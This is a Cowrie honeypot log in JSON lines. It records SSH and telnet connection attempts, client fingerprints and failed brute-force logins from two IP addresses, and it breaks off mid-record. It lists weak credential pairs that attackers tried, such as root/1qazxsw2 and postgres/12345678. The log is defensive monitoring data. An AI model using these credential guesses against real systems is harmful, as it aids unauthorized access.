{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:08.749249Z","src_ip":"45.153.34.112","session":"cdec1edc1f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:09.835423Z","src_ip":"45.153.34.112","session":"cdec1edc1f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55418,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf5de4db3f3","protocol":"telnet","message":"New connection: 192.119.13.58:55418 (10.17.0.5:23) [session: baf5de4db3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:11.061584Z"}
{"eventid":"cowrie.session.closed","duration":46.55909299850464,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:12.030203Z","src_ip":"192.119.13.58","session":"261315aae497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47086,"dst_ip":"10.17.0.5","dst_port":22,"session":"b110be811334","protocol":"ssh","message":"New connection: 45.153.34.112:47086 (10.17.0.5:22) [session: b110be811334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:12.069066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:12.074711Z","src_ip":"45.153.34.112","session":"b110be811334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:12.161005Z","src_ip":"45.153.34.112","session":"b110be811334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:12.408765Z","src_ip":"45.153.34.112","session":"b110be811334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34646,"dst_ip":"10.17.0.5","dst_port":23,"session":"149a13319d68","protocol":"telnet","message":"New connection: 192.119.13.58:34646 (10.17.0.5:23) [session: 149a13319d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:13.501150Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:13.596843Z","src_ip":"45.153.34.112","session":"b110be811334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47092,"dst_ip":"10.17.0.5","dst_port":22,"session":"b17d7919d9b0","protocol":"ssh","message":"New connection: 45.153.34.112:47092 (10.17.0.5:22) [session: b17d7919d9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:15.519403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:15.524592Z","src_ip":"45.153.34.112","session":"b17d7919d9b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:15.606879Z","src_ip":"45.153.34.112","session":"b17d7919d9b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:15.921658Z","src_ip":"45.153.34.112","session":"b17d7919d9b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:17.143407Z","src_ip":"45.153.34.112","session":"b17d7919d9b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47104,"dst_ip":"10.17.0.5","dst_port":22,"session":"698ce381c096","protocol":"ssh","message":"New connection: 45.153.34.112:47104 (10.17.0.5:22) [session: 698ce381c096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:19.120633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:19.125522Z","src_ip":"45.153.34.112","session":"698ce381c096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:19.213165Z","src_ip":"45.153.34.112","session":"698ce381c096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:19.460425Z","src_ip":"45.153.34.112","session":"698ce381c096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:20.594661Z","src_ip":"45.153.34.112","session":"698ce381c096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b186670f43","protocol":"ssh","message":"New connection: 45.153.34.112:54772 (10.17.0.5:22) [session: f7b186670f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:22.816924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:22.822268Z","src_ip":"45.153.34.112","session":"f7b186670f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:22.904311Z","src_ip":"45.153.34.112","session":"f7b186670f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:23.151254Z","src_ip":"45.153.34.112","session":"f7b186670f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:24.326234Z","src_ip":"45.153.34.112","session":"f7b186670f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33680,"dst_ip":"10.17.0.5","dst_port":23,"session":"49dc47bfd881","protocol":"telnet","message":"New connection: 192.119.13.58:33680 (10.17.0.5:23) [session: 49dc47bfd881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:25.070146Z"}
{"eventid":"cowrie.session.closed","duration":39.46595501899719,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:25.884691Z","src_ip":"192.119.13.58","session":"a1934d4876d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54776,"dst_ip":"10.17.0.5","dst_port":22,"session":"71da59ea4216","protocol":"ssh","message":"New connection: 45.153.34.112:54776 (10.17.0.5:22) [session: 71da59ea4216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:26.347421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:26.352954Z","src_ip":"45.153.34.112","session":"71da59ea4216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:26.435825Z","src_ip":"45.153.34.112","session":"71da59ea4216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:26.684822Z","src_ip":"45.153.34.112","session":"71da59ea4216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:27.857460Z","src_ip":"45.153.34.112","session":"71da59ea4216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43298,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c9f95d2d4aa","protocol":"telnet","message":"New connection: 192.119.13.58:43298 (10.17.0.5:23) [session: 5c9f95d2d4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:28.501577Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35340,"dst_ip":"10.17.0.5","dst_port":22,"session":"32dce11c055b","protocol":"ssh","message":"New connection: 45.153.34.112:35340 (10.17.0.5:22) [session: 32dce11c055b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:29.972585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:29.977368Z","src_ip":"45.153.34.112","session":"32dce11c055b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:30.060656Z","src_ip":"45.153.34.112","session":"32dce11c055b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.98895454406738,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:30.271073Z","src_ip":"192.119.13.58","session":"d48aa182921f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:30.312414Z","src_ip":"45.153.34.112","session":"32dce11c055b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:31.481842Z","src_ip":"45.153.34.112","session":"32dce11c055b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6357901096344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:33.441017Z","src_ip":"192.119.13.58","session":"bea1161b278f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35356,"dst_ip":"10.17.0.5","dst_port":22,"session":"1014ca120f39","protocol":"ssh","message":"New connection: 45.153.34.112:35356 (10.17.0.5:22) [session: 1014ca120f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:33.598926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:33.603979Z","src_ip":"45.153.34.112","session":"1014ca120f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:33.686676Z","src_ip":"45.153.34.112","session":"1014ca120f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:33.933068Z","src_ip":"45.153.34.112","session":"1014ca120f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:35.020483Z","src_ip":"45.153.34.112","session":"1014ca120f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35372,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a07e924f60","protocol":"ssh","message":"New connection: 45.153.34.112:35372 (10.17.0.5:22) [session: 02a07e924f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:37.283378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:37.287871Z","src_ip":"45.153.34.112","session":"02a07e924f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh